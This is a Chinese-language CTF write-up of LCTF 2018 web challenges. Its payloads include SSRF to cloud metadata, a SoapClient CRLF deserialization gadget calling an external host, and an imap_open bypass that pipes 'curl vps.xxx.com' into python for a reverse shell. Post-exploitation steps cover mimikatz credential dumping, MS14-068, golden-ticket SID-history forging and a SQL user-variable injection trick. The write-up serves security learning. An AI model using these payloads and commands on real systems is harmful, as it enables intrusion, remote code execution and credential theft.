LCTF 2018 部分 web 題詳細 writeup
LCTF 2018 還是一如既往的來了,雖然也是出題人,但是並不代表能做出來其他師傅的題,我也是一邊運維一邊做題,一邊聽師傅們的思路,簡單的看了幾道題,下面是簡單的記錄
0X01 Travel
還給了程式碼:
# -*- coding: utf-8 -*- from flask import request, render_template from config import create_app import os import urllib import requests import uuid app = create_app() @app.route('/upload/<filename>', methods = ['PUT'])# 冪等的請求,會產生覆蓋 def upload_file(filename): name = request.cookies.get('name') pwd = request.cookies.get('pwd') if name != 'lctf' or pwd != str(uuid.getnode()):# 不知道硬體地址則繞不過去 return "0" filename = urllib.unquote(filename)# 進行 url 解碼 with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f: f.write(request.get_data(as_text = True)) return "1" return "0" @app.route('/', methods = ['GET']) def index(): url = request.args.get('url', '') if url == '': return render_template('index.html') if "http" != url[: 4]:# 必須要 http 請求 return "hacker" try: response = requests.get(url, timeout = 10) response.encoding = 'utf-8' return response.text except: return "Something Error" @app.route('/source', methods = ['GET']) def get_source(): return open(__file__).read() if __name__ == '__main__': app.run()
瞭解過 SSRF 的同學看一眼就知道是 SSRF ,但是我們的目標是什麼呢?我們看到有一個檔案寫的點,但是我們並不知道 uuid.getnode() ,在HCTF 我們已經領略過這個函式的作用,我們知道他是主機的 mac 地址的十進位制表示,於是我們希望利用SSRF 實現本地檔案讀取,但是這裡明顯有幾個限制,首先限制了 協議是 http 和 https ,這就排除了我們使用 file 等協議,當然可能有人說可以使用 302 跳轉,沒錯,requests.get() 在沒有設定,allow_redirects=False 的情況下是會進行跟隨的,但是如果你嘗試使用 file 等其他協議他就會報錯,這應該是 requests 的保護機制吧。
那麼這種情況下其實還是要看看開放的埠,畢竟是 flask ,萬一有什麼 redis 啥的未授權呢?可以直接寫 shell 啥的,我使用 nmap 測試了一下發現只有80 和 22 ,沒戲了,想別的辦法吧。
後來給了提示說是什麼 “留意雲服務商和差異性”,雲服務商是啥,我們看一下
$ curl cip.cc/118.25.150.86 IP: 118.25.150.86 地址: 中國上海 運營商: tencent.com 資料二: 上海市 | 騰訊雲 資料三: 中國上海上海市 | 電信 URL: http://www.cip.cc/118.25.150.86
騰訊雲,那我們看一下騰訊雲的 ofollow,noindex">例項文件 ,找到了下面的東西
不得了!我們試一下獲取 mac ,直接輸 http://metadata.tencentyun.com/latest/meta-data/mac
52:54:00:48:c8:73
我們從而得到十進位制:90520735500403
這樣我們就能寫檔案了,但是我又發現了一個問題,這個寫檔案要求是 PUT 請求,然後我怎麼 PUT 都 405 ,後來才知道 nginx 的 405 和 flask 的 405 不是一個 405,還是那麼菜。
下圖是 get 請求的到的 405
下圖是 PUT 請求得到的405
我們看到使用 PUT 方法的 405 是 nginx 給我們的,也就是這個是經過反向代理得到的,我們的 PUT 請求被反向代理伺服器攔截了,我們這樣也就明確了目標,我們如何在 flask 中突破 nginx 反向代理的限制,同時出題人也給了一個提示 header ,這樣我們就去找一下 flask 中什麼請求頭有這樣的作用
我們來試一下
可以看到我們能返回1 ,那我們是不是就能任意檔案寫了呢?
使用者名稱在程式碼中已經存在 lctf ,那我們可以寫一個公鑰 /home/lctf/.ssh/authorized_keys,地址這裡還有一個小坑,必須要使用 URL 二次編碼
這時候已經成功寫入,我們登入
0X02 bestphp’s revenge
程式碼審計:
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET['name'])){ $_SESSION['name'] = $_GET['name']; } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); ?> array(0) { }
還有一個 flag.php
<?php session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } //only localhost can get flag!
一開始看 index.php ,可以說是一臉矇蔽了,但是後來看了 flag.php 以後目標就很清晰了,我們需要偽造我們的 remote_addr 為 Localhost 然後訪問 flag.php 拿到 flag ,但我們知道 remote_addr 哪裡能偽造,想要讓 remote_addr 是 127.0.0.1 那只有一種方法就是實現 ssrf ,後來給了一個 hint :反序列化,也就是我們要使用反序列化觸發 ssrf 訪問 flag.php 頁面,並且訪問的時候我們還要帶上我們自己的 cookie 訪問,要不然我們沒法寫到我們自己的 session 中,這樣我們也就沒法訪問到 flag 了
但是問題來了,我之前在分析 php 反序列化的時候也說了,PHP 反序列化就是要控制一個類的屬性,然後在呼叫過程中最終傳入某個惡意函式中達到命令執行或者程式碼執行的效果,但是很明顯這裡啥都沒有,這其實也給了我們一個提示,我們要用 php 的原生類,其實這個知識點在 N1CTF 2018 中已經出現過了,使用 soapclient 原生類,在不使用 wsdl 的情況下建立的物件在呼叫不存在的方法的時候會觸發 __call 方法,然後能發起請求
我們看一下我的測試
test.php
<?php $a = new SoapClient(null, array( 'location'=> "http://h4ck3r.club:9999", 'uri'=> "test" )); $a->getsubtime();
結果如圖:
成功的發起了請求,這其實就是我們實現 SSRF,然後如何攜帶 Cookie 呢? 這裡用到了 soapclient 的一個 uri 和 user_agent的 CRLF 注入,我們
test.php
<?php $a = new SoapClient(null, array( 'location'=> "http://h4ck3r.club:9999", 'user_agent' => "AAA:BBB\r\n"."Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912", 'uri'=> "test" )); $res = serialize($a); $a = unserialize($res); $a->getsubtime();
結果:
當然怎麼反序列化這其實還是一個問題,但是觀察程式碼,我們很明顯能看到一個存在序列化的地方
<?php //... session_start(); if(isset($_GET['name'])){ $_SESSION['name'] = $_GET['name']; } //...
我們知道,session 是經過序列化進行儲存的,我們可以試試,傳入 name=K0rz3n 上面程式碼執行的結果是
name|s:6:"K0rz3n";
等等,這個序列化為什麼長得有些奇怪,感覺和我們物件使用 serialize 序列化出來的結果長得很不一樣,沒錯,這個其實就是我們的利用點了,php 在 sesion 序列化的時候有三種序列化引擎,php 、php_serialize 和 php_binary,其中 php 這種序列化的方式是預設的方式。
php_binary:儲存方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函式序列化處理的值
php:儲存方式是,鍵名+豎線+經過serialize()函式序列處理的值
php_serialize(php>5.5.4):儲存方式是,經過serialize()函式序列化處理的值
也就是說, php 這種序列化的方式是不序列化鍵名的,而是單純地序列化鍵值,而對鍵值的序列化使用的是我們在序列化物件的時候使用的 serialize() 函式的方式,那我們有這樣的一種想法,如果我們把我們的 soapclient 物件序列化後在前面,加一個 | 然後存入 session ,並且指定 session 序列化的方法為 php_serialize
a:1:{s:4:"name";s:115:"|O:10:"SoapClient":3:{s:3:"uri";s:4:"test";s:8:"location";s:23:"http://h4ck3r.club:9999";s:13:"_soap_version";i:1;}";}
這一步的實現可以通過題目中的
call_user_func($_GET[f],$_POST);
來實現,當然這個要藉助 session_start() 函式的一個選項
bool session_start ([ array $options = array() ] ) options 此引數是一個關聯陣列,如果提供,那麼會用其中的專案覆蓋 會話配置指示 中的配置項。此陣列中的鍵無需包含 session. 字首。
那麼會話配置指示裡面是什麼呢?
那麼在 session 反序列化的時候使用預設的 php 引擎的話就會錯誤地將這個 | 當做控制字元來分隔鍵值和鍵名(這其實就是注入漏洞的本質),然後對我們 | 後面的部分再次使用 unserialize() 反序列化,那我們的物件就能重現江湖了
等等,為什麼能觸發反序列化呢????
如圖所示:
也就是說這個步驟是 php 在處理會話的過程中幫我們自動完成的,不信我們測試一下,目前的狀態是我們已經將我們的 soapclient 物件按照 php_serialize 的方式序列化進了 session 檔案,然後我們要按照 php 引擎的方式解析,下面是測試程式碼
test.php
<?php session_start(); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); var_dump($a);
結果:
很明顯我們的注入成功了,他按照我們注入的 | 進行了分隔,反序列化了我們傳入的 soapclient
好,現在反序列化和 SSRF 我們已經捋清楚了,我們還差一點東西,根據 soapclient 的要求,我麼想要發起請求必須要讓反序列化出來的物件呼叫一個不存在的方法,怎麼弄?
於是我又注意到了這個程式碼下面還有一個 call_user_func() 這不得不說是一個非常明顯的疑點,按道理這裡就應該是我們的利用點了,因為我們的 $a[0]
就是我們的 soapcliet 物件了,雖然 $b
是一個確定的值,但是我們還是能使用 第一個 call_user_func 呼叫 extract 來實現變數覆蓋
我們看一下下面的操作吧
test1.php
<?php class test{ function __call($name,$args){ echo "Hello~"; } } $a = new test(); call_user_func(array($a,'hhh')); ?>
結果:
我們在 call_user_func 中傳入了一個 array() 並且第一個值為一個類的物件,另一個是這個類中不存在的方法,然後他出發了呼叫,好了,這裡的思路我們徹底清晰了
我們要使用 extract 覆蓋變數 b 為 call_user_func 然後,”welcome_to_the_lctf2018” 這個字串就是我們的不存在的方法。最終可以實現 __call 的呼叫,實現發出帶著我們設定好 cookie 的請求,然後 flag 被寫入我們的 session 中,我們最後再帶著這個 cookie 列出 session 中的內容就可以了
0X03 God of domain-pentest
<?php highlight_file(__FILE__); $lshell=$_GET['lshell']; eval($lshell); var_dump($lshell); NULL
先使用 phpinfo(); 看一下 disable function ,因為出題人在旁邊,他說過濾了全部,不要我繼續繞 disable 了,
如圖:
最近不是出了一個新的操作?用來 bypass disable_fuction 的 imap
不多說,打!一開始使用 bash 反彈沒成功,問了一下他們,他們說 Python 反彈效果更好歐,於是開始 python 反彈,結果還是不行,後來把 Payload 放在了伺服器上,然後用 curl 請求 並且使用 | 交給 python 執行(向師傅們學來的操作),
curl vps.xxx.com|python
然後,我們將其 base64 以後放在 payload 框架裡
$server = "x -oProxyCommand=echo\txxxxxxxxxxxxxxxxxxxxxx|base64\t-d|sh}";imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
然後為了防止 url 傳輸過去的問題,還是使用 url 編碼
%24server%20%3D%20%22x%20-oProxyCommand%3Decho%5Ctxxxxxxxxxxxxxxxxxxxxxx%7Cbase64%5Ct-d%7Csh%7D%22%3Bimap_open('%7B'.%24server.'%3A143%2Fimap%7DINBOX'%2C%20''%2C%20'')%20or%20die(%22%5Cn%5CnError%3A%20%22.imap_last_error())%3B
然後執行就行了,成功反彈
看一下 ip
eth0Link encap:EthernetHWaddr 52:54:00:2a:75:a6 inet addr:172.21.0.17Bcast:172.21.15.255Mask:255.255.240.0 UP BROADCAST RUNNING MULTICASTMTU:1500Metric:1 RX packets:897233 errors:0 dropped:0 overruns:0 frame:0 TX packets:783700 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:264883816 (264.8 MB)TX bytes:240894961 (240.8 MB) loLink encap:Local Loopback inet addr:127.0.0.1Mask:255.0.0.0 UP LOOPBACK RUNNINGMTU:65536Metric:1 RX packets:1824 errors:0 dropped:0 overruns:0 frame:0 TX packets:1824 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:177022 (177.0 KB)TX bytes:177022 (177.0 KB)
內網 ip 已經明確了,然後在 /var/www 目錄下面看到了出題人好心的 ew
我們試一下掛一個內網的代理,我有時候選擇全域性有時候指定應用,這個其實根據你使用的工具來決定
然後我直接使用 netstat -ano 看了一下這臺伺服器建立的連結發現,他和 172.21.0.8 成功建立連線,這就直接找到了一臺伺服器
如圖所示:
瀏覽器成功訪問
進行一波目錄掃描
PHPmyadmin 提權? 我們進去看看
root root 登入,這還得了,觀察一下我們也能發現這個就是一個簡單的 phpstudy 起的,我們 SQL/">MySQL 提權那麼多方法,不瞭解的可以看我的這篇文章
我首先嚐試了使用 select into outfile 的方法,但是收到了 secure_file_priv 的限制,後來我選擇了使用 general_log 的方法,我們先看一下
這樣不僅能看到選項是否開啟,也能看到預設的安裝路徑了,那這樣web 目錄也就非常清晰
現在我們拿到了 webshell 然後我們需要反彈 windows 的 shell ,使用 cs
./teamserver xxx.xxx.xxx.xxx K0rz3n
用 cs 生成 powershell payload 執行
然後抓密碼,先進入 cs 的命令列
輸入 help 檢視常見的幫助,我們注意一下那個 shell 命令,表示我們在後面執行 cmd.exe 的命令
shell whoami
就能看到我是 administrator 許可權,然後我們開始抓密碼,使用
logonpasswords
然後既然題目提示中提到了域環境,那我們就要先簡單的判斷一下,我們自己所處的環境
shell ipconfig/all
根據我之間的一域滲透的簡單文章,很容易知道 DNS 就是域控
我們現在需要攻擊域控,使用 ms14068 拿域控的許可權,使用 impacket 庫中的 goldenPac.py,我們直接使用 Python 在入口機器上執行,在入口機器上的 /tmp 目錄下使用 wget 下載
我們執行指令碼 getshell
好了現在拿到了子域的域控許可權,是一個 windows 的 shell , 我們找一下父域域控,如圖所示
先把這臺機器彈回 cs 中
到 windows 上執行
我們彈回子域域控
然後就是一套注入 sidhistory 的操作
(1)首先,我們需要得到域使用者的安全認證識別符號
shell wmic useraccount get Caption,sid
我們重點關注的是
WEB\krbtgtS-1-5-21-508737280-3758319117-1445457868-50
他和 krb 有關係,相當於是域的一個令牌的中心,我們需要重點關注
(2)我們通過 mimikatz 得到當前域的 NTML 認證令牌
mimikatz lsadump::lsa /patch
(3)我們向當前域注入我們的 sid history ,這個 history 有一個繼承性,擁有了這個 history 的機子就有了原始機器的屬性
mimikatz kerberos::golden /admin:administrator /domain:web.lctf.com /sid:S-1-5-21-508737280-3758319117-1445457868 /sids:S-1-5-21-35370905-2178818314-1839806818-519 /krbtgt:42cb5299c2e40ad7d04cb2d7d16f3a46 /startoffset:0
(4)訪問父域域控的桌面找到 flag
shell type \\dc\c$\Users\\Administrator\\Desktop\\flag.txt
0X04 T4lk 1s ch34p,sh0w m3 the sh31l/sh0w m3 the sh31l 4ga1n
這道題是我出的題,還有另一道是這道題的衍生,但是由於出題過程中的非預期,導致這道題沒有觸及到我想要考察的點,但是我本身的 wp 還是按照我的預期解寫的,有興趣的可以轉到這篇文章
0X05 年久失修的系統
這道題我在比賽過程中也沒來得及看,就大概知道是一個注入,但是最後是0解,真的神了,一般來講注入0解的情況在比賽中並不常見,也正因為這個原因我賽後非常好奇的看了 klaus 師傅的 wp ,確實讓我比較驚訝,這裡考察的是一個神奇的點—–使用者自定義變數
可能有的同學不知道什麼是使用者自定義變數,但是你一定見過 @@datadir 、@@version、@@tmpdir 、@@basedir 等,這些我們在之前的注入中絕對用過,利用這種內建的變數我們能獲取一些敏感資訊,那麼使用者變數又是什麼呢?
和系統變數不同的是,使用者變數的定義方式是使用一個 @ ,他的定義格式是這個樣子的
SET @var_name = expr [, @var_name = expr] ...
我們實驗一下:
mysql> set @a = 1; Query OK, 0 rows affected (0.00 sec) mysql> select @a; +------+ | @a| +------+ |1 | +------+ 1 row in set (0.00 sec)
注意:
(1)可以先在使用者變數中儲存值然後在以後引用它;這樣可以將值從一個語句傳遞到另一個語句。使用者變數與連線有關。也就是說,一個客戶端定義的變數不能被其它客戶端看到或使用。當客戶端退出時,該客戶端連線的所有變數將自動釋放。
(2)對於 SET,可以使用=或:=作為分配符。分配給每個變數的expr可以為整數、實數、字串或者NULL值。
(3)也可以用 select 語句代替SET來為使用者變數分配一個值。在這種情況下,分配符必須為:=而不能用=,因為在非SET語句中=被視為一個比較 操作符:
我們來嘗試一下使用 select 語句給自定義變數賦值
mysql> select @a:=2; +-------+ | @a:=2 | +-------+ |2 | +-------+ 1 row in set (0.00 sec) mysql> select @a:=3; +-------+ | @a:=3 | +-------+ |3 | +-------+ 1 row in set (0.00 sec)
那我們能不能使用表示式給變數賦值呢?答案是可以的,我們看下面的實驗
mysql> select ID ,@rownum:=@rownum+1 as rownum from city order by ID limit 10; +----+--------+ | ID | rownum | +----+--------+ |1 |11 | |2 |12 | |3 |13 | |4 |14 | |5 |15 | |6 |16 | |7 |17 | |8 |18 | |9 |19 | | 10 |20 | +----+--------+ 10 rows in set (0.00 sec)
這樣就實現了逐個增加,是不是很神奇?我們再來看下面的測試
mysql> select @b:=@b is not null; +--------------------+ | @b:=@b is not null | +--------------------+ |0 | +--------------------+ 1 row in set (0.00 sec) mysql> select @b:=@b is not null; +--------------------+ | @b:=@b is not null | +--------------------+ |1 | +--------------------+ 1 row in set (0.00 sec)
這個怎麼理解呢?我們先來看賦值號後面的這個表示式
@b is not null
由於 @b 並沒有在當前的會話中定義過,於是一開始是 null ,然後我們做了個判斷,判斷 @b 不是 null ,很明顯這個得到的是假,也就是 0 ,那麼再執行完這個語句之後 @b 就被賦值為 0 ,當第二次再執行的時候就是判斷 0 不是 Null ,這次肯定是真,於是返回1 此時 @b 就被賦值為1
那麼這道題就是利用了這個點,在使用者的一個會話中實現查詢兩次的過程中自動修改值
10094-9921*@a:=@a is not null
mysql> select 10094-9921*@e:=@e is not null ; +-------------------------------+ | 10094-9921*@e:=@e is not null | +-------------------------------+ |10094 | +-------------------------------+ 1 row in set (0.00 sec) mysql> select 10094-9921*@e:=@e is not null ; +-------------------------------+ | 10094-9921*@e:=@e is not null | +-------------------------------+ |173 | +-------------------------------+ 1 row in set (0.00 sec)
這樣達到了在繞過對 select 中的值的檢查的同時在 update 修改了 admin 的密碼的